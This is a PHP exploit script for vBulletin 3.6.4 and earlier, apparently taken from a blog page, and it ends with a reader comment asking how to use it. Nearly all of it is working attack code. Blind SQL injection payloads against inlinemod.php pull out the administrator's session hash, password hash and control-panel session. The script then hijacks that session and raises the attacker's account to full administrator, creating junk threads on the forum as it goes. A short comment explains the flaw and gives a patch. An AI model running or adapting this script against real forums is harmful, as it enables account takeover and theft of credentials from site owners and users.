print_r(' |
----------------------------------------------------------------------------- |
vBulletin <= 3.6.4 inlinemod.php "postids" sql injection / privilege |
escalation by session hijacking exploit |
by rgod |
mail: retrog at alice dot it |
site: http://retrogod.altervista.org |
Works regardless of php.ini settings, you need a Super Moderator account |
to copy posts among threads, to be launched while admin is logged in to |
the control panel, this will give you full admin privileges |
note: this will flood the forum with empty threads even! |
----------------------------------------------------------------------------- |
'); |
if ($argc<7) { |
print_r(' |
----------------------------------------------------------------------------- |
Usage: php '.$argv[0].' host path user pass forumid postid OPTIONS |
host: target server (ip/hostname) |
path: path to vbulletin |
user/pass: you need a moderator account |
forumid: existing forum |
postid: existing post |
Options: |
-p[port]: specify a port other than 80 |
-P[ip:port]: specify a proxy |
Example: |
php '.$argv[0].' localhost /vbulletin/ rgod mypass 2 121 -P1.1.1.1:80 |
php '.$argv[0].' localhost /vbulletin/ rgod mypass 1 143 -p81 |
----------------------------------------------------------------------------- |
'); |
die; |
} |
/* |
vulnerable code in inlinemod.php near lines 185-209: |
... |
case 'docopyposts': |
$vbulletin->input->clean_array_gpc('p', array( |
'postids' => TYPE_STR, |
)); |
$postids = explode(',', $vbulletin->GPC['postids']); |
foreach ($postids AS $index => $postid) |
{ |
if ($postids["$index"] != intval($postid)) |
{ |
unset($postids["$index"]); |
} |
} |
if (empty($postids)) |
{ |
eval(standard_error(fetch_error('no_applicable_posts_selected'))); |
} |
if (count($postids) > $postlimit) |
{ |
eval(standard_error(fetch_error('you_are_limited_to_working_with_x_posts', $postlimit))); |
} |
break; |
... |
when an element of $postids array is not an integer, it fails to unset() the proper value. |
An example: |
|
$foo[1]="99999) UNION SELECT foo FROM foo WHERE foo=1 LIMIT 1/*"; |
$foo[2]=intval($foo[1]); |
echo $foo[1]."\n"; |
echo $foo[2]."\n"; |
if ($foo[1] != $foo[2]) |
{ |
echo "they are different"; |
} |
else |
{ |
echo "they match!"; |
} |
?> |
output: |
99999) UNION SELECT foo FROM foo WHERE foo=1 LIMIT 1/* |
99999 |
they match! |
this because when php tries to comparise a string with an integer |
it tries to convert the string in its integer value, it chooses the first integer chars |
of the string itself! |
so unset() never run! |
the result is sql injection near lines 3792-3800: |
... |
$posts = $db->query_read_slave(" |
SELECT post.postid, post.threadid, post.visible, post.title, post.username, post.dateline, post.parentid, post.userid, |
thread.forumid, thread.title AS thread_title, thread.postuserid, thread.visible AS thread_visible, thread.firstpostid, |
thread.sticky, thread.open, thread.iconid |
FROM " . TABLE_PREFIX . "post AS post |
LEFT JOIN " . TABLE_PREFIX . "thread AS thread USING (threadid) |
WHERE postid IN (" . implode(',', $postids) . ") |
ORDER BY post.dateline |
"); |
... |
this exploit extract various session hashes from the database |
to authenticate as admin and to change the privileges of a registered user |
I could not find a way to see results inside html, so this asks true/false |
questions to the database, copying posts around threads |
possible patch, replace: |
foreach ($postids AS $index => $postid) |
{ |
if ($postids["$index"] != intval($postid)) |
{ |
unset($postids["$index"]); |
} |
} |
with: |
foreach ($postids AS $index => $postid) |
{ |
$postids["$index"]=(int)$postids["$index"]; |
} |
and, some line before: |
foreach ($threadids AS $index => $threadid) |
{ |
if ($threadids["$index"] != intval($threadid)) |
{ |
unset($threadids["$index"]); |
} |
} |
with: |
foreach ($threadids AS $index => $threadid) |
{ |
$threadids["$index"]=(int)$threadids["$index"]; |
} |
vendor was contacted by email form... |
*/ |
error_reporting(7); |
ini_set("max_execution_time",0); |
ini_set("default_socket_timeout",5); |
function quick_dump($string) |
{ |
$result='';$exa='';$cont=0; |
for ($i=0; $i<=strlen($string)-1; $i++) |
{ |
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) |
{$result.=" .";} |
else |
{$result.=" ".$string[$i];} |
if (strlen(dechex(ord($string[$i])))==2) |
{$exa.=" ".dechex(ord($string[$i]));} |
else |
{$exa.=" 0".dechex(ord($string[$i]));} |
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} |
} |
return $exa."\r\n".$result; |
} |
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; |
function sendpacketii($packet) |
{ |
global $proxy, $host, $port, $html, $proxy_regex; |
if ($proxy=='') { |
$ock=fsockopen(gethostbyname($host),$port); |
if (!$ock) { |
echo 'No response from '.$host.':'.$port; die; |
} |
} |
else { |
$c = preg_match($proxy_regex,$proxy); |
if (!$c) { |
echo 'Not a valid proxy...';die; |
} |
$parts=explode(':',$proxy); |
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; |
$ock=fsockopen($parts[0],$parts[1]); |
if (!$ock) { |
echo 'No response from proxy...';die; |
} |
} |
fputs($ock,$packet); |
if ($proxy=='') { |
$html=''; |
while (!feof($ock)) { |
$html.=fgets($ock); |
} |
} |
else { |
$html=''; |
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { |
$html.=fread($ock,1); |
} |
} |
fclose($ock); |
} |
$host=$argv[1]; |
$path=$argv[2]; |
$user=$argv[3]; |
$pass=md5($argv[4]); |
$forumid=(int)$argv[5]; |
$existing_post=(int)$argv[6]; |
$port=80; |
$proxy=""; |
for ($i=3; $i<$argc; $i++){ |
$temp=$argv[$i][0].$argv[$i][1]; |
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} |
if ($temp=="-p") |
{ |
$port=str_replace("-p","",$argv[$i]); |
} |
if ($temp=="-P") |
{ |
$proxy=str_replace("-P","",$argv[$i]); |
} |
} |
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} |
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} |
$data="vb_login_username=$user"; |
$data.="&vb_login_password="; |
$data.="&s="; |
$data.="&do=login"; |
$data.="&vb_login_md5password=$pass"; |
$data.="&vb_login_md5password_utf=$pass"; |
$packet="POST ".$p."login.php HTTP/1.0\r\n"; |
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; |
$packet.="Referer: http://".$host.$path."login.php\r\n"; |
$packet.="Accept-Language: en\r\n"; |
$packet.="Content-Type: application/x-www-form-urlencoded\r\n"; |
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n"; |
$packet.="Host: ".$host."\r\n"; |
$packet.="Content-Length: ".strlen($data)."\r\n"; |
$packet.="Pragma: no-cache\r\n"; |
$packet.="Connection: Close\r\n\r\n"; |
$packet.=$data; |
sendpacketii($packet); |
$cookie=""; |
$temp=explode("Set-Cookie: ",$html); |
for ($i=1; $i<count($temp); $i++) |
{ |
$temp2=explode(" ",$temp[$i]); |
$cookie.=" ".trim($temp2[0]); |
} |
//echo "your cookie -> ".$cookie."\n\n"; |
if (!eregi("sessionhash",$cookie)){die("failed to login...");}$temp=str_replace(" ","",$cookie);$temp=str_replace("sessionhash","",$temp); |
$temp=str_replace("lastvisit","",$temp);$temp=str_replace("lastactivity","",$temp);$temp=explode("=",$temp);$temp=explode(";",$temp[1]); |
$cookie_prefix=trim($temp[1]);echo "cookie prefix -> ".$cookie_prefix."\n"; |
$chars[0]=0;//null |
$chars=array_merge($chars,range(48,57)); //numbers |
$j=1;$uid=""; |
echo "admim user id -> "; |
while (!strstr($uid,chr(0))) |
{ |
for ($i=0; $i<=255; $i++) |
{ |
if (in_array($i,$chars)) |
{ |
$data ="s="; |
$data.="&do=docopyposts"; |
$data.="&destforumid=$forumid"; |
$data.="&title=suntzu"; |
$data.="&forumid=$forumid"; |
$data.="&postids=9999999)/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(userid,".$j.",1))=".$i."),$existing_post,-999999)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/user/**/WHERE/**/usergroupid=6/**/LIMIT/**/1/*"; |
$packet ="POST ".$p."inlinemod.php?f=$forumid HTTP/1.0\r\n"; |
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; |
$packet.="Referer: http://".$host.$path."profile.php\r\n"; |
$packet.="Accept-Language: it\r\n"; |
$packet.="Content-Type: application/x-www-form-urlencoded\r\n"; |
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n"; |
$packet.="Host: ".$host."\r\n"; |
$packet.="Content-Length: ".strlen($data)."\r\n"; |
$packet.="Pragma: no-cache\r\n"; |
$packet.="Cookie: ".$cookie."; \r\n"; |
$packet.="Connection: Close\r\n\r\n"; |
$packet.=$data; |
sendpacketii($packet); |
$temp=explode("showthread.php?t=",$html); |
$temp2=explode("\n",$temp[1]); |
$thread=(int)$temp2[0]; |
$packet ="GET ".$p."showthread.php?t=$thread HTTP/1.0\r\n"; |
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; |
$packet.="Referer: http://".$host.$path."profile.php\r\n"; |
$packet.="Accept-Language: it\r\n"; |
$packet.="Content-Type: application/x-www-form-urlencoded\r\n"; |
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n"; |
$packet.="Host: ".$host."\r\n"; |
$packet.="Pragma: no-cache\r\n"; |
$packet.="Cookie: ".$cookie."; \r\n"; |
$packet.="Connection: Close\r\n\r\n"; |
sendpacketii($packet); |
if (eregi("You have an error in your SQL syntax",$html)){echo $html; die("\nunknown query error...");} |
if (eregi("join date",$html)) {$uid.=chr($i);echo chr($i); sleep(1); break;} |
} |
if ($i==255) { |
die("\nExploit failed..."); |
} |
} |
$j++; |
} |
if (trim($uid)==""){die("\nExploit failed...");}else{echo "\nvulnerable!";} |
$uid=intval($uid); |
function my_encode($my_string) |
{ |
$encoded="CHAR("; |
for ($k=0; $k<=strlen($my_string)-1; $k++) |
{ |
$encoded.=ord($my_string[$k]); |
if ($k==strlen($my_string)-1) {$encoded.=")";} |
else {$encoded.=",";} |
} |
return $encoded; |
} |
$j=1;$my_uid=""; |
echo "\nyour user id -> "; |
while (!strstr($my_uid,chr(0))) |
{ |
for ($i=0; $i<=255; $i++) |
{ |
if (in_array($i,$chars)) |
{ |
$data ="s="; |
$data.="&do=docopyposts"; |
$data.="&destforumid=$forumid"; |
$data.="&title=suntzu"; |
$data.="&forumid=$forumid"; |
$data.="&postids=9999999)/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(userid,".$j.",1))=".$i."),$existing_post,-999999)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/user/**/WHERE/**/username=".my_encode($user)."/**/LIMIT/**/1/*"; |
$packet ="POST ".$p."inlinemod.php?f=$forumid HTTP/1.0\r\n"; |
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; |
$packet.="Referer: http://".$host.$path."profile.php\r\n"; |
$packet.="Accept-Language: it\r\n"; |
$packet.="Content-Type: application/x-www-form-urlencoded\r\n"; |
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n"; |
$packet.="Host: ".$host."\r\n"; |
$packet.="Content-Length: ".strlen($data)."\r\n"; |
$packet.="Pragma: no-cache\r\n"; |
$packet.="Cookie: ".$cookie."; \r\n"; |
$packet.="Connection: Close\r\n\r\n"; |
$packet.=$data; |
sendpacketii($packet); |
if (eregi("You have an error in your SQL syntax",$html)){echo $html; die("\nunknown query error...");} |
$temp=explode("showthread.php?t=",$html); |
$temp2=explode("\n",$temp[1]); |
$thread=(int)$temp2[0]; |
$packet ="GET ".$p."showthread.php?t=$thread HTTP/1.0\r\n"; |
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; |
$packet.="Referer: http://".$host.$path."profile.php\r\n"; |
$packet.="Accept-Language: it\r\n"; |
$packet.="Content-Type: application/x-www-form-urlencoded\r\n"; |
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n"; |
$packet.="Host: ".$host."\r\n"; |
$packet.="Pragma: no-cache\r\n"; |
$packet.="Cookie: ".$cookie."; \r\n"; |
$packet.="Connection: Close\r\n\r\n"; |
sendpacketii($packet); |
if (eregi("join date",$html)) {$my_uid.=chr($i);echo chr($i); sleep(1); break;} |
} |
if ($i==255) { |
die("\nExploit failed..."); |
} |
} |
$j++; |
} |
$my_uid=intval($my_uid); |
$chars[0]=0;//null |
$chars=array_merge($chars,range(48,57)); //numbers |
$chars=array_merge($chars,range(97,102));//a-f letters |
$j=1;$sess_hash=""; |
echo "\nsession hash -> "; |
while (!strstr($sess_hash,chr(0))) |
{ |
for ($i=0; $i<=255; $i++) |
{ |
if (in_array($i,$chars)) |
{ |
$data ="s="; |
$data.="&do=docopyposts"; |
$data.="&destforumid=$forumid"; |
$data.="&title=suntzu"; |
$data.="&forumid=$forumid"; |
$data.="&postids=9999999)/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(sessionhash,".$j.",1))=".$i."),$existing_post,-999999)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/session/**/WHERE/**/userid=$uid/**/LIMIT/**/1/*"; |
$packet ="POST ".$p."inlinemod.php?f=$forumid HTTP/1.0\r\n"; |
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; |
$packet.="Referer: http://".$host.$path."profile.php\r\n"; |
$packet.="Accept-Language: it\r\n"; |
$packet.="Content-Type: application/x-www-form-urlencoded\r\n"; |
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n"; |
$packet.="Host: ".$host."\r\n"; |
$packet.="Content-Length: ".strlen($data)."\r\n"; |
$packet.="Pragma: no-cache\r\n"; |
$packet.="Cookie: ".$cookie."; \r\n"; |
$packet.="Connection: Close\r\n\r\n"; |
$packet.=$data; |
sendpacketii($packet); |
if (eregi("You have an error in your SQL syntax",$html)){echo $html; die("\nunknown query error...");} |
$temp=explode("showthread.php?t=",$html); |
$temp2=explode("\n",$temp[1]); |
$thread=(int)$temp2[0]; |
$packet ="GET ".$p."showthread.php?t=$thread HTTP/1.0\r\n"; |
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; |
$packet.="Referer: http://".$host.$path."profile.php\r\n"; |
$packet.="Accept-Language: it\r\n"; |
$packet.="Content-Type: application/x-www-form-urlencoded\r\n"; |
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n"; |
$packet.="Host: ".$host."\r\n"; |
$packet.="Pragma: no-cache\r\n"; |
$packet.="Cookie: ".$cookie."; \r\n"; |
$packet.="Connection: Close\r\n\r\n"; |
sendpacketii($packet); |
if (eregi("join date",$html)) {$sess_hash.=chr($i);echo chr($i); sleep(1); break;} |
} |
if ($i==255) { |
die("\nExploit failed..."); |
} |
} |
$j++; |
} |
$j=1;$my_hash=""; |
echo "\nuser password hash -> "; |
while (!strstr($my_hash,chr(0))) |
{ |
for ($i=0; $i<=255; $i++) |
{ |
if (in_array($i,$chars)) |
{ |
$data ="s="; |
$data.="&do=docopyposts"; |
$data.="&destforumid=$forumid"; |
$data.="&title=suntzu"; |
$data.="&forumid=$forumid"; |
$data.="&postids=9999999)/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(password,".$j.",1))=".$i."),$existing_post,-999999)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/user/**/WHERE/**/userid=$uid/**/LIMIT/**/1/*"; |
$packet ="POST ".$p."inlinemod.php?f=$forumid HTTP/1.0\r\n"; |
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; |
$packet.="Referer: http://".$host.$path."profile.php\r\n"; |
$packet.="Accept-Language: en\r\n"; |
$packet.="Content-Type: application/x-www-form-urlencoded\r\n"; |
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n"; |
$packet.="Host: ".$host."\r\n"; |
$packet.="Content-Length: ".strlen($data)."\r\n"; |
$packet.="Pragma: no-cache\r\n"; |
$packet.="Cookie: ".$cookie."; \r\n"; |
$packet.="Connection: Close\r\n\r\n"; |
$packet.=$data; |
sendpacketii($packet); |
if (eregi("You have an error in your SQL syntax",$html)){echo $html; die("\nunknown query error...");} |
$temp=explode("showthread.php?t=",$html); |
$temp2=explode("\n",$temp[1]); |
$thread=(int)$temp2[0]; |
$packet ="GET ".$p."showthread.php?t=$thread HTTP/1.0\r\n"; |
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; |
$packet.="Referer: http://".$host.$path."profile.php\r\n"; |
$packet.="Accept-Language: en\r\n"; |
$packet.="Content-Type: application/x-www-form-urlencoded\r\n"; |
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n"; |
$packet.="Host: ".$host."\r\n"; |
$packet.="Pragma: no-cache\r\n"; |
$packet.="Cookie: ".$cookie."; \r\n"; |
$packet.="Connection: Close\r\n\r\n"; |
sendpacketii($packet); |
if (eregi("join date",$html)) {$my_hash.=chr($i);echo chr($i); sleep(1); break;} |
} |
if ($i==255) { |
die("\nExploit failed..."); |
} |
} |
$j++; |
} |
$j=1;$cpsess_hash=""; |
echo "\ncp session hash -> "; |
while (!strstr($cpsess_hash,chr(0))) |
{ |
for ($i=0; $i<=255; $i++) |
{ |
if (in_array($i,$chars)) |
{ |
$data ="s="; |
$data.="&do=docopyposts"; |
$data.="&destforumid=$forumid"; |
$data.="&title=suntzu"; |
$data.="&forumid=$forumid"; |
$data.="&postids=9999999)/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(hash,".$j.",1))=".$i."),$existing_post,-999999)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cpsession/**/WHERE/**/userid=$uid/**/LIMIT/**/1/*"; |
$packet ="POST ".$p."inlinemod.php?f=$forumid HTTP/1.0\r\n"; |
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; |
$packet.="Referer: http://".$host.$path."profile.php\r\n"; |
$packet.="Accept-Language: en\r\n"; |
$packet.="Content-Type: application/x-www-form-urlencoded\r\n"; |
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n"; |
$packet.="Host: ".$host."\r\n"; |
$packet.="Content-Length: ".strlen($data)."\r\n"; |
$packet.="Pragma: no-cache\r\n"; |
$packet.="Cookie: ".$cookie."; \r\n"; |
$packet.="Connection: Close\r\n\r\n"; |
$packet.=$data; |
sendpacketii($packet); |
$temp=explode("showthread.php?t=",$html); |
$temp2=explode("\n",$temp[1]); |
$thread=(int)$temp2[0]; |
$packet ="GET ".$p."showthread.php?t=$thread HTTP/1.0\r\n"; |
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; |
$packet.="Referer: http://".$host.$path."profile.php\r\n"; |
$packet.="Accept-Language: en\r\n"; |
$packet.="Content-Type: application/x-www-form-urlencoded\r\n"; |
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n"; |
$packet.="Host: ".$host."\r\n"; |
$packet.="Pragma: no-cache\r\n"; |
$packet.="Cookie: ".$cookie."; \r\n"; |
$packet.="Connection: Close\r\n\r\n"; |
sendpacketii($packet); |
if (eregi("You have an error in your SQL syntax",$html)){echo $html; die("\nunknown query error...");} |
if (eregi("join date",$html)) {$cpsess_hash.=chr($i);echo chr($i); sleep(1); break;} |
} |
if ($i==255) { |
die("\nExploit failed..."); |
} |
} |
$j++; |
} |
echo "\n"; |
$packet ="GET ".$p."admincp/user.php?do=edit&u=$my_uid HTTP/1.0\r\n"; |
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; |
$packet.="Referer: http://".$host.$path."profile.php\r\n"; |
$packet.="Accept-Language: en\r\n"; |
$packet.="Content-Type: application/x-www-form-urlencoded\r\n"; |
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n"; |
$packet.="Host: ".$host."\r\n"; |
$packet.="Pragma: no-cache\r\n"; |
$packet.="Cookie: ".$cookie_prefix."lastactivity=0; ".$cookie_prefix."password=".md5(trim($my_hash))."; bbuserid=".$uid."; ".$cookie_prefix."sessionhash=".trim($sess_hash)."; ".$cookie_prefix."cpsession=".trim($cpsess_hash).";\r\n"; |
$packet.="Connection: Close\r\n\r\n"; |
sendpacketii($packet); |
$temp=explode("adminhash\" value=\"",$html); |
$temp2=explode("\"",$temp[1]); |
$adminhash=$temp2[0]; |
echo "adminhash ->".$adminhash."\n"; |
if ($adminhash<>"") {echo "\ndone! you are in... updating ".$user." rights";} |
else {die("\nexploit failed...");} |
//join to the Administrator group |
$my_email="suntzu@suntzu.com"; |
$data ="do=update"; |
$data.="&adminhash=$adminhash"; |
$data.="&quicklinks=user.php%3Fdo%3Deditaccess%26u%3D".$my_uid; |
$data.="&user%5Busername%5D=$user"; |
$data.="&password="; |
$data.="&user%5Bemail%5D=$my_email"; |
$data.="&user%5Blanguageid%5D=0"; |
$data.="&user%5Busertitle%5D=Admin"; |
$data.="&user%5Bcustomtitle%5D=0"; |
$data.="&user%5Bhomepage%5D="; |
$data.="&user%5Bbirthday%5D%5Bmonth%5D=0"; |
$data.="&user%5Bbirthday%5D%5Bday%5D="; |
$data.="&user%5Bbirthday%5D%5Byear%5D="; |
$data.="&user%5Bshowbirthday%5D=0"; |
$data.="&user%5Bsignature%5D="; |
$data.="&user%5Bicq%5D="; |
$data.="&user%5Baim%5D="; |
$data.="&user%5Byahoo%5D="; |
$data.="&user%5Bmsn%5D="; |
$data.="&user%5Bskype%5D="; |
$data.="&options%5Bcoppauser%5D=0"; |
$data.="&user%5Bparentemail%5D=$my_email"; |
$data.="&user%5Breferrerid%5D="; |
$data.="&user%5Bipaddress%5D="; |
$data.="&user%5Bposts%5D=0"; |
$data.="&userfield%5Bfield1%5D="; |
$data.="&userfield%5Bfield2%5D="; |
$data.="&userfield%5Bfield3%5D="; |
$data.="&userfield%5Bfield4%5D="; |
$data.="&user%5Busergroupid%5D=6";//primary usergroup, 6=Administrators |
$data.="&user%5Bdisplaygroupid%5D=-1"; |
$data.="&user%5Bmembergroupids%5D%5B%5D=5";//secondary usergroup, 5=Super Moderators |
$data.="&options%5Bshowreputation%5D=1"; |
$data.="&user%5Breputation%5D=10"; |
$data.="&user%5Bwarnings%5D=0"; |
$data.="&user%5Binfractions%5D=0"; |
$data.="&user%5Bipoints%5D=0"; |
$data.="&options%5Badminemail%5D=1"; |
$data.="&options%5Bshowemail%5D=0"; |
$data.="&options%5Binvisible%5D=0"; |
$data.="&options%5Bshowvcard%5D=0"; |
$data.="&options%5Breceivepm%5D=1"; |
$data.="&options%5Breceivepmbuddies%5D=0"; |
$data.="&options%5Bemailonpm%5D=0"; |
$data.="&user%5Bpmpopup%5D=0"; |
$data.="&options%5Bshowsignatures%5D=1"; |
$data.="&options%5Bshowavatars%5D=1"; |
$data.="&options%5Bshowimages%5D=1"; |
$data.="&user%5Bautosubscribe%5D=-1"; |
$data.="&user%5Bthreadedmode%5D=0"; |
$data.="&user%5Bshowvbcode%5D=1"; |
$data.="&user%5Bstyleid%5D=0"; |
$data.="&adminoptions%5Badminavatar%5D=0"; |
$data.="&adminoptions%5Badminprofilepic%5D=0"; |
$data.="&user%5Btimezoneoffset%5D=0"; |
$data.="&options%5Bdstauto%5D=1"; |
$data.="&options%5Bdstonoff%5D=0"; |
$data.="&user%5Bdaysprune%5D=-1"; |
$data.="&user%5Bjoindate%5D%5Bmonth%5D=2"; |
$data.="&user%5Bjoindate%5D%5Bday%5D=26"; |
$data.="&user%5Bjoindate%5D%5Byear%5D=2007"; |
$data.="&user%5Bjoindate%5D%5Bhour%5D=14"; |
$data.="&user%5Bjoindate%5D%5Bminute%5D=39"; |
$data.="&user%5Blastactivity%5D%5Bmonth%5D=2"; |
$data.="&user%5Blastactivity%5D%5Bday%5D=26"; |
$data.="&user%5Blastactivity%5D%5Byear%5D=2007"; |
$data.="&user%5Blastactivity%5D%5Bhour%5D=14"; |
$data.="&user%5Blastactivity%5D%5Bminute%5D=58"; |
$data.="&user%5Blastpost%5D%5Bmonth%5D=0"; |
$data.="&user%5Blastpost%5D%5Bday%5D="; |
$data.="&user%5Blastpost%5D%5Byear%5D="; |
$data.="&user%5Blastpost%5D%5Bhour%5D="; |
$data.="&user%5Blastpost%5D%5Bminute%5D="; |
$data.="&userid=".$mu_uid; |
$data.="&ousergroupid="; |
$data.="&odisplaygroupid=0"; |
$data.="&userfield%5Bfield1_set%5D=1"; |
$data.="&userfield%5Bfield2_set%5D=1"; |
$data.="&userfield%5Bfield3_set%5D=1"; |
$data.="&userfield%5Bfield4_set%5D=1"; |
$packet ="POST ".$p."admincp/user.php?do=edit&u=$my_uid HTTP/1.0\r\n"; |
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; |
$packet.="Referer: http://".$host.$path."profile.php\r\n"; |
$packet.="Accept-Language: en\r\n"; |
$packet.="Content-Type: application/x-www-form-urlencoded\r\n"; |
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n"; |
$packet.="Host: ".$host."\r\n"; |
$packet.="Content-Length: ".strlen($data)."\r\n"; |
$packet.="Pragma: no-cache\r\n"; |
$packet.="Cookie: ".$cookie_prefix."lastactivity=0; ".$cookie_prefix."password=".md5(trim($my_hash))."; ".$cookie_prefix."userid=".$uid."; ".$cookie_prefix."sessionhash=".trim($sess_hash)."; ".$cookie_prefix."cpsession=".trim($cpsess_hash).";\r\n"; |
$packet.="Connection: Close\r\n\r\n"; |
$packet.=$data; |
sendpacketii($packet); |
sleep(1); |
//now give full rights to the new Administrator |
$data ="do=update"; |
$data.="&adminhash=".$adminhash; |
$data.="&adminpermissions%5Bcanadminsettings%5D=1"; |
$data.="&adminpermissions%5Bcanadminstyles%5D=1"; |
$data.="&adminpermissions%5Bcanadminlanguages%5D=1"; |
$data.="&adminpermissions%5Bcanadminforums%5D=1"; |
$data.="&adminpermissions%5Bcanadminthreads%5D=1"; |
$data.="&adminpermissions%5Bcanadmincalendars%5D=1"; |
$data.="&adminpermissions%5Bcanadminusers%5D=1"; |
$data.="&adminpermissions%5Bcanadminpermissions%5D=1"; |
$data.="&adminpermissions%5Bcanadminfaq%5D=1"; |
$data.="&adminpermissions%5Bcanadminimages%5D=1"; |
$data.="&adminpermissions%5Bcanadminbbcodes%5D=1"; |
$data.="&adminpermissions%5Bcanadmincron%5D=1"; |
$data.="&adminpermissions%5Bcanadminmaintain%5D=1"; |
$data.="&adminpermissions%5Bcanadminplugins%5D=1"; |
$data.="&cssprefs="; |
$data.="&dismissednews="; |
$data.="&userid=".$my_uid; |
$data.="&oldpermissions=98300"; |
$data.="&adminpermissions%5Bcanadminupgrade%5D=0"; |
$packet ="POST ".$p."admincp/adminpermissions.php?do=update HTTP/1.0\r\n"; |
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; |
$packet.="Referer: http://".$host.$path."profile.php\r\n"; |
$packet.="Accept-Language: en\r\n"; |
$packet.="Content-Type: application/x-www-form-urlencoded\r\n"; |
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n"; |
$packet.="Host: ".$host."\r\n"; |
$packet.="Content-Length: ".strlen($data)."\r\n"; |
$packet.="Pragma: no-cache\r\n"; |
$packet.="Cookie: ".$cookie_prefix."lastactivity=0; ".$cookie_prefix."password=".md5(trim($my_hash))."; ".$cookie_prefix."userid=".$uid."; ".$cookie_prefix."sessionhash=".trim($sess_hash)."; ".$cookie_prefix."cpsession=".trim($cpsess_hash).";\r\n"; |
$packet.="Connection: Close\r\n\r\n"; |
$packet.=$data; |
sendpacketii($packet); |
echo "\nnow go to http://".$host.$path."admincp/index.php and login to the control panel..."; |
?>
Hello man, This can hack Vbulliten 3.6.4? If so can you give me details of how to make this thing work?
ReplyDelete